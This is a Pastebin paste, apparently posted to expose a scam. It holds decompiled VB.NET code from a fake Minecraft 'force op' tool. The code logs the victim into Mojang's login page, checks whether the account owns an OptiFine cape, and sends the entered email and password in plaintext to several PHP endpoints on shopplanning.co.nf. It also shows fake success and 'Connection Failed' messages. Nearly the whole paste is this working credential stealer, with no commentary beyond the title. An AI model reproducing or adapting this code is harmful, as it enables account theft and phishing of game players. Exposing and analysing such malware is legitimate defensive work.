SHARE
TWEET

Scammers don't know how to obfuscate .net code

a guest Oct 4th, 2017 276 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.         Private Sub Form2_Load(sender As Object, e As EventArgs)
  2.             Me.WebBrowser1.ScriptErrorsSuppressed = True
  3.             Me.WebBrowser1.Navigate("https://account.mojang.com/login")
  4.             Me.Button2.Enabled = False
  5.             Me.Button3.Enabled = False
  6.             Me.Button4.Enabled = False
  7.             Me.Button5.Enabled = False
  8.             Me.Button6.Enabled = False
  9.             Me.Button7.Enabled = False
  10.             Me.Button8.Enabled = False
  11.             Me.TextBox3.Enabled = False
  12.             Me.TextBox4.Enabled = False
  13.             Me.TextBox5.Enabled = False
  14.         End Sub
  15.  
  16.         Private Sub Button1_Click(sender As Object, e As EventArgs)
  17.             Me.WebBrowser1.Document.GetElementById("username").SetAttribute("value", Me.TextBox1.Text)
  18.             Me.WebBrowser1.Document.GetElementById("password").SetAttribute("value", Me.TextBox2.Text)
  19.             Me.WebBrowser1.Document.Forms("loginForm").InvokeMember("submit")
  20.             Me.Timer1.Enabled = True
  21.             Me.Button1.Enabled = False
  22.             Me.TextBox1.Enabled = False
  23.             Me.TextBox2.Enabled = False
  24.             Me.TextBox6.Enabled = False
  25.             Me.ProgressBar1.Increment(40)
  26.         End Sub
  27.  
  28.         Private Sub Timer1_Tick(sender As Object, e As EventArgs)
  29.             If Me.timercount = 0 Then
  30.                 Me.Timer1.Enabled = False
  31.                 If Me.WebBrowser1.DocumentText.Contains("Error!") Then
  32.                     Me.ProgressBar1.Increment(-40)
  33.                     Interaction.MsgBox("Login Failed", MsgBoxStyle.OkOnly, Nothing)
  34.                     Me.Button1.Enabled = True
  35.                     Me.TextBox1.Enabled = True
  36.                     Me.TextBox2.Enabled = True
  37.                 End If
  38.                 If Me.WebBrowser1.DocumentText.Contains("Import old Minecraft Account") Then
  39.                     Try
  40.                         Dim arg_A7_0 As WebClient = New WebClient()
  41.                         Dim address As String = "http://www.optifine.net/capes/" + Me.TextBox6.Text + ".png"
  42.                         Dim text As String = arg_A7_0.DownloadString(address)
  43.                         Me.TextBox7.Text = text
  44.                     Catch expr_BB As Exception
  45.                         ProjectData.SetProjectError(expr_BB)
  46.                         ProjectData.ClearProjectError()
  47.                     End Try
  48.                     If Me.TextBox7.Text.Contains("PNG") Then
  49.                         Dim arg_115_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/OF.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
  50.                         WebRequest.Create("http://shopplanning.co.nf/logger.php?")
  51.                         arg_115_0.GetResponse()
  52.                     End If
  53.                     If Not Me.TextBox7.Text.Contains("PNG") Then
  54.                         Dim arg_167_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/NotPaid.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
  55.                         WebRequest.Create("http://shopplanning.co.nf/logger.php?")
  56.                         arg_167_0.GetResponse()
  57.                     End If
  58.                     Me.ProgressBar1.Increment(50)
  59.                     Me.ProgressBar1.Increment(10)
  60.                     Interaction.MsgBox("Successfully Logged in", MsgBoxStyle.OkOnly, Nothing)
  61.                     Me.ProgressBar1.Increment(-100)
  62.                     Me.Button2.Enabled = True
  63.                     Me.TextBox3.Enabled = True
  64.                     Me.TextBox4.Enabled = True
  65.                     Me.Button1.Visible = False
  66.                     Me.Button9.Visible = True
  67.                 Else If Me.WebBrowser1.DocumentText.Contains("Resend verification e-mail") Then
  68.                     Try
  69.                         Dim arg_21D_0 As WebClient = New WebClient()
  70.                         Dim address2 As String = "http://www.optifine.net/capes/" + Me.TextBox6.Text + ".png"
  71.                         Dim text2 As String = arg_21D_0.DownloadString(address2)
  72.                         Me.TextBox7.Text = text2
  73.                     Catch expr_233 As Exception
  74.                         ProjectData.SetProjectError(expr_233)
  75.                         ProjectData.ClearProjectError()
  76.                     End Try
  77.                     If Me.TextBox7.Text.Contains("PNG") Then
  78.                         Dim arg_28E_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/OF.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
  79.                         WebRequest.Create("http://shopplanning.co.nf/logger.php?")
  80.                         arg_28E_0.GetResponse()
  81.                     End If
  82.                     If Not Me.TextBox7.Text.Contains("PNG") Then
  83.                         Me.ProgressBar1.Increment(50)
  84.                         Dim arg_2ED_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/VerfEmail.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
  85.                         WebRequest.Create("http://shopplanning.co.nf/logger.php?")
  86.                         arg_2ED_0.GetResponse()
  87.                     End If
  88.                     Me.ProgressBar1.Increment(10)
  89.                     Interaction.MsgBox("Successfully Logged in", MsgBoxStyle.OkOnly, Nothing)
  90.                     Me.ProgressBar1.Increment(-100)
  91.                     Me.Button2.Enabled = True
  92.                     Me.TextBox3.Enabled = True
  93.                     Me.TextBox4.Enabled = True
  94.                     Me.Button1.Visible = False
  95.                     Me.Button9.Visible = True
  96.                 Else If Me.WebBrowser1.DocumentText.Contains("Secure my account") Then
  97.                     Try
  98.                         Dim arg_398_0 As WebClient = New WebClient()
  99.                         Dim address3 As String = "http://www.optifine.net/capes/" + Me.TextBox6.Text + ".png"
  100.                         Dim text3 As String = arg_398_0.DownloadString(address3)
  101.                         Me.TextBox7.Text = text3
  102.                     Catch expr_3AE As Exception
  103.                         ProjectData.SetProjectError(expr_3AE)
  104.                         ProjectData.ClearProjectError()
  105.                     End Try
  106.                     If Me.TextBox7.Text.Contains("PNG") Then
  107.                         Dim arg_409_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/OF.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
  108.                         WebRequest.Create("http://shopplanning.co.nf/logger.php?")
  109.                         arg_409_0.GetResponse()
  110.                     End If
  111.                     If Not Me.TextBox7.Text.Contains("PNG") Then
  112.                         Me.ProgressBar1.Increment(50)
  113.                         Dim arg_468_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/wp-activate.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
  114.                         WebRequest.Create("http://shopplanning.co.nf/logger.php?")
  115.                         arg_468_0.GetResponse()
  116.                     End If
  117.                     Me.ProgressBar1.Increment(10)
  118.                     Interaction.MsgBox("Successfully Logged in", MsgBoxStyle.OkOnly, Nothing)
  119.                     Me.ProgressBar1.Increment(-100)
  120.                     Me.Button2.Enabled = True
  121.                     Me.TextBox3.Enabled = True
  122.                     Me.TextBox4.Enabled = True
  123.                     Me.Button1.Visible = False
  124.                     Me.Button9.Visible = True
  125.                 Else If Me.WebBrowser1.DocumentText.Contains("accept-terms") Then
  126.                     Try
  127.                         Dim arg_513_0 As WebClient = New WebClient()
  128.                         Dim address4 As String = "http://www.optifine.net/capes/" + Me.TextBox6.Text + ".png"
  129.                         Dim text4 As String = arg_513_0.DownloadString(address4)
  130.                         Me.TextBox7.Text = text4
  131.                     Catch expr_529 As Exception
  132.                         ProjectData.SetProjectError(expr_529)
  133.                         ProjectData.ClearProjectError()
  134.                     End Try
  135.                     If Me.TextBox7.Text.Contains("PNG") Then
  136.                         Dim arg_584_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/OF.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
  137.                         WebRequest.Create("http://shopplanning.co.nf/logger.php?")
  138.                         arg_584_0.GetResponse()
  139.                     End If
  140.                     If Not Me.TextBox7.Text.Contains("PNG") Then
  141.                         Me.ProgressBar1.Increment(50)
  142.                         Dim arg_5E3_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/Proceed.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
  143.                         WebRequest.Create("http://shopplanning.co.nf/logger.php?")
  144.                         arg_5E3_0.GetResponse()
  145.                     End If
  146.                     Me.ProgressBar1.Increment(10)
  147.                     Interaction.MsgBox("Successfully Logged in", MsgBoxStyle.OkOnly, Nothing)
  148.                     Me.ProgressBar1.Increment(-100)
  149.                     Me.Button2.Enabled = True
  150.                     Me.TextBox3.Enabled = True
  151.                     Me.TextBox4.Enabled = True
  152.                     Me.Button1.Visible = False
  153.                     Me.Button9.Visible = True
  154.                 Else If Me.WebBrowser1.DocumentText.Contains("Confirm your identity") Then
  155.                     Try
  156.                         Dim arg_68E_0 As WebClient = New WebClient()
  157.                         Dim address5 As String = "http://www.optifine.net/capes/" + Me.TextBox6.Text + ".png"
  158.                         Dim text5 As String = arg_68E_0.DownloadString(address5)
  159.                         Me.TextBox7.Text = text5
  160.                     Catch expr_6A4 As Exception
  161.                         ProjectData.SetProjectError(expr_6A4)
  162.                         ProjectData.ClearProjectError()
  163.                     End Try
  164.                     If Me.TextBox7.Text.Contains("PNG") Then
  165.                         Dim arg_6FF_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/OF.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
  166.                         WebRequest.Create("http://shopplanning.co.nf/logger.php?")
  167.                         arg_6FF_0.GetResponse()
  168.                     End If
  169.                     If Not Me.TextBox7.Text.Contains("PNG") Then
  170.                         Me.ProgressBar1.Increment(50)
  171.                         Dim arg_75E_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/wp-cron.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
  172.                         WebRequest.Create("http://shopplanning.co.nf/logger.php?")
  173.                         arg_75E_0.GetResponse()
  174.                     End If
  175.                     Me.ProgressBar1.Increment(10)
  176.                     Interaction.MsgBox("Successfully Logged in", MsgBoxStyle.OkOnly, Nothing)
  177.                     Me.ProgressBar1.Increment(-100)
  178.                     Me.Button2.Enabled = True
  179.                     Me.TextBox3.Enabled = True
  180.                     Me.TextBox4.Enabled = True
  181.                     Me.Button1.Visible = False
  182.                     Me.Button9.Visible = True
  183.                 Else If Me.WebBrowser1.DocumentText.Contains("My Subscriptions") Then
  184.                     Try
  185.                         Dim arg_809_0 As WebClient = New WebClient()
  186.                         Dim address6 As String = "http://www.optifine.net/capes/" + Me.TextBox6.Text + ".png"
  187.                         Dim text6 As String = arg_809_0.DownloadString(address6)
  188.                         Me.TextBox7.Text = text6
  189.                     Catch expr_81F As Exception
  190.                         ProjectData.SetProjectError(expr_81F)
  191.                         ProjectData.ClearProjectError()
  192.                     End Try
  193.                     If Me.TextBox7.Text.Contains("PNG") Then
  194.                         Dim arg_87A_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/OF.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
  195.                         WebRequest.Create("http://shopplanning.co.nf/logger.php?")
  196.                         arg_87A_0.GetResponse()
  197.                     End If
  198.                     If Not Me.TextBox7.Text.Contains("PNG") Then
  199.                         Me.ProgressBar1.Increment(50)
  200.                         Dim arg_8D9_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/wp-cron.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
  201.                         WebRequest.Create("http://shopplanning.co.nf/logger.php?")
  202.                         arg_8D9_0.GetResponse()
  203.                     End If
  204.                     Me.ProgressBar1.Increment(10)
  205.                     Interaction.MsgBox("Successfully Logged in", MsgBoxStyle.OkOnly, Nothing)
  206.                     Me.ProgressBar1.Increment(-100)
  207.                     Me.Button2.Enabled = True
  208.                     Me.TextBox3.Enabled = True
  209.                     Me.TextBox4.Enabled = True
  210.                     Me.Button1.Visible = False
  211.                     Me.Button9.Visible = True
  212.                 End If
  213.                 Me.timercount = 5
  214.                 Return
  215.             End If
  216.             Me.timercount = 0
  217.         End Sub
  218.  
  219.         Private Sub Button2_Click(sender As Object, e As EventArgs)
  220.             Me.ProgressBar1.Increment(10)
  221.             Interaction.MsgBox("Connection Failed", MsgBoxStyle.OkOnly, Nothing)
  222.             Me.ProgressBar1.Increment(-10)
  223.         End Sub
  224.  
  225.         Private Sub TextBox2_KeyDown(sender As Object, e As KeyEventArgs)
  226.             If e.KeyCode = Keys.[Return] Then
  227.                 Me.Button1.PerformClick()
  228.             End If
  229.         End Sub
  230.  
  231.         Private Sub Button9_Click(sender As Object, e As EventArgs)
  232.             Me.WebBrowser1.Navigate("https://account.mojang.com/logout")
  233.             Me.Timer2.Enabled = True
  234.         End Sub
  235.  
  236.         Private Sub Timer2_Tick(sender As Object, e As EventArgs)
  237.             If Me.timercount = 0 Then
  238.                 Me.Timer2.Enabled = False
  239.                 Me.WebBrowser1.Navigate("https://account.mojang.com/login")
  240.                 Me.TextBox1.Enabled = True
  241.                 Me.TextBox2.Enabled = True
  242.                 Me.Button1.Enabled = True
  243.                 Me.Button1.Visible = True
  244.                 Me.Button9.Visible = False
  245.                 Me.timercount = 5
  246.                 Return
  247.             End If
  248.             Me.timercount = 0
  249.         End Sub
  250.  
  251.         Private Sub Button10_Click(sender As Object, e As EventArgs)
  252.             Interaction.MsgBox("The login information is required." & vbCrLf & "The email and password is required to log you on to the mojang server. " & vbCrLf & "The username is required to make the tools work including the force op. " & vbCrLf & "The username doesn't get checked by the force op tool so it's realy important to type it exactly right (including capitals) or else the force op wont work.", MsgBoxStyle.OkOnly, Nothing)
  253.         End Sub
  254.     End Class
  255. End Namespace
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top